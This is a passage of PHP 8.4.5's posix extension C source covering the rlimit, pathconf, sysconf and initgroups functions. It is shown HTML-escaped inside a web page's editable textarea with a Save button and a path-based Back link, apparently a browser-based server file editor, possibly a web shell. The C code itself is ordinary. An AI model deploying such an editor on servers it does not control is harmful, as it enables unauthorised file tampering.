	if (rl.rlim_max == RLIM_INFINITY) {
		add_assoc_stringl(return_value, hard, UNLIMITED_STRING, sizeof(UNLIMITED_STRING)-1);
	} else {
		add_assoc_long(return_value, hard, rl.rlim_max);
	}

	return SUCCESS;
}
/* }}} */

/* {{{ limits[] */
static const struct limitlist {
	int limit;
	const char *name;
} limits[] = {
#ifdef RLIMIT_CORE
	{ RLIMIT_CORE,	&quot;core&quot; },
#endif

#ifdef RLIMIT_DATA
	{ RLIMIT_DATA,	&quot;data&quot; },
#endif

#ifdef RLIMIT_STACK
	{ RLIMIT_STACK,	&quot;stack&quot; },
#endif

#ifdef RLIMIT_VMEM
	{ RLIMIT_VMEM, &quot;virtualmem&quot; },
#endif

#ifdef RLIMIT_AS
	{ RLIMIT_AS, &quot;totalmem&quot; },
#endif

#ifdef RLIMIT_RSS
	{ RLIMIT_RSS, &quot;rss&quot; },
#endif

#ifdef RLIMIT_NPROC
	{ RLIMIT_NPROC, &quot;maxproc&quot; },
#endif

#ifdef RLIMIT_MEMLOCK
	{ RLIMIT_MEMLOCK, &quot;memlock&quot; },
#endif

#ifdef RLIMIT_CPU
	{ RLIMIT_CPU,	&quot;cpu&quot; },
#endif

#ifdef RLIMIT_FSIZE
	{ RLIMIT_FSIZE, &quot;filesize&quot; },
#endif

#ifdef RLIMIT_NOFILE
	{ RLIMIT_NOFILE, &quot;openfiles&quot; },
#endif

#ifdef RLIMIT_OFILE
	{ RLIMIT_OFILE, &quot;openfiles&quot; },
#endif

#ifdef RLIMIT_KQUEUES
	{ RLIMIT_KQUEUES, &quot;kqueues&quot; },
#endif

#ifdef RLIMIT_NPTS
	{ RLIMIT_NPTS, &quot;npts&quot; },
#endif

	{ 0, NULL }
};
/* }}} */


/* {{{ Get system resource consumption limits (This is not a POSIX function, but a BSDism and a SVR4ism. We compile conditionally) */
PHP_FUNCTION(posix_getrlimit)
{
	const struct limitlist *l = NULL;
	zend_long res;
	bool res_is_null = true;

	ZEND_PARSE_PARAMETERS_START(0, 1)
		Z_PARAM_OPTIONAL
		Z_PARAM_LONG_OR_NULL(res, res_is_null)
	ZEND_PARSE_PARAMETERS_END();

	if (res_is_null) {
		array_init(return_value);

		for (l=limits; l-&gt;name; l++) {
			if (posix_addlimit(l-&gt;limit, l-&gt;name, return_value) == FAILURE) {
				zend_array_destroy(Z_ARR_P(return_value));
				RETURN_FALSE;
			}
		}
	} else {
		struct rlimit rl;
		int result = getrlimit(res, &amp;rl);
		if (result &lt; 0) {
			POSIX_G(last_error) = errno;
			RETURN_FALSE;
		}

		array_init(return_value);
		if (rl.rlim_cur == RLIM_INFINITY) {
			add_next_index_stringl(return_value, UNLIMITED_STRING, sizeof(UNLIMITED_STRING)-1);
		} else {
			add_next_index_long(return_value, rl.rlim_cur);
		}

		if (rl.rlim_max == RLIM_INFINITY) {
			add_next_index_stringl(return_value, UNLIMITED_STRING, sizeof(UNLIMITED_STRING)-1);
		} else {
			add_next_index_long(return_value, rl.rlim_max);
		}
	}
}
/* }}} */

#endif /* HAVE_GETRLIMIT */

#ifdef HAVE_SETRLIMIT
/* {{{ Set system resource consumption limits (POSIX.1-2001) */
PHP_FUNCTION(posix_setrlimit)
{
	struct rlimit rl;
	zend_long res, cur, max;

	ZEND_PARSE_PARAMETERS_START(3, 3)
		Z_PARAM_LONG(res)
		Z_PARAM_LONG(cur)
		Z_PARAM_LONG(max)
	ZEND_PARSE_PARAMETERS_END();

	rl.rlim_cur = cur;
	rl.rlim_max = max;

	if (setrlimit(res, &amp;rl) == -1) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_TRUE;
}
/* }}} */

#endif /* HAVE_SETRLIMIT */


/* {{{ Retrieve the error number set by the last posix function which failed. */
PHP_FUNCTION(posix_get_last_error)
{
	ZEND_PARSE_PARAMETERS_NONE();

	RETURN_LONG(POSIX_G(last_error));
}
/* }}} */

/* {{{ Retrieve the system error message associated with the given errno. */
PHP_FUNCTION(posix_strerror)
{
	zend_long error;

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_LONG(error)
	ZEND_PARSE_PARAMETERS_END();

	RETURN_STRING(strerror(error));
}
/* }}} */

#endif

#ifdef HAVE_INITGROUPS
/* {{{ Calculate the group access list for the user specified in name. */
PHP_FUNCTION(posix_initgroups)
{
	zend_long basegid;
	char *name;
	size_t name_len;

	ZEND_PARSE_PARAMETERS_START(2, 2)
		Z_PARAM_STRING(name, name_len)
		Z_PARAM_LONG(basegid)
	ZEND_PARSE_PARAMETERS_END();

	if (name_len == 0) {
		RETURN_FALSE;
	}

	RETURN_BOOL(!initgroups((const char *)name, basegid));
}
/* }}} */
#endif

PHP_FUNCTION(posix_sysconf)
{
	zend_long conf_id;

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_LONG(conf_id)
	ZEND_PARSE_PARAMETERS_END();

	RETURN_LONG(sysconf(conf_id));
}

#ifdef HAVE_PATHCONF
PHP_FUNCTION(posix_pathconf)
{
	zend_long name, ret;
	char *path;
	size_t path_len;

	ZEND_PARSE_PARAMETERS_START(2, 2)
		Z_PARAM_PATH(path, path_len)
		Z_PARAM_LONG(name);
	ZEND_PARSE_PARAMETERS_END();

	if (path_len == 0) {
		zend_argument_must_not_be_empty_error(1);
		RETURN_THROWS();
	} else if (php_check_open_basedir(path)) {
		php_error_docref(NULL, E_WARNING, &quot;Invalid path supplied: %s&quot;, path);
		RETURN_FALSE;
	}

	ret = pathconf(path, name);

	if (ret &lt; 0 &amp;&amp; errno != 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_LONG(ret);
}
#endif

#ifdef HAVE_FPATHCONF
PHP_FUNCTION(posix_fpathconf)
{
	zend_long name, ret, fd = 0;
	zval *z_fd;

	ZEND_PARSE_PARAMETERS_START(2, 2)
		Z_PARAM_ZVAL(z_fd)
		Z_PARAM_LONG(name);
	ZEND_PARSE_PARAMETERS_END();

	if (Z_TYPE_P(z_fd) == IS_RESOURCE) {
		if (php_posix_stream_get_fd(z_fd, &amp;fd) == FAILURE) {
			RETURN_FALSE;
		}
	} else {
		if (!zend_parse_arg_long(z_fd, &amp;fd, /* is_null */ NULL, /* check_null */ false, /* arg_num */ 1)) {
			zend_argument_type_error(1, &quot;must be of type int|resource, %s given&quot;,
				zend_zval_value_name(z_fd));
			RETURN_THROWS();
		}
	}

	ret = fpathconf(fd, name);

	if (ret &lt; 0 &amp;&amp; errno != 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_LONG(ret);
}
#endif
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fposix'>🔙 Back</a></p>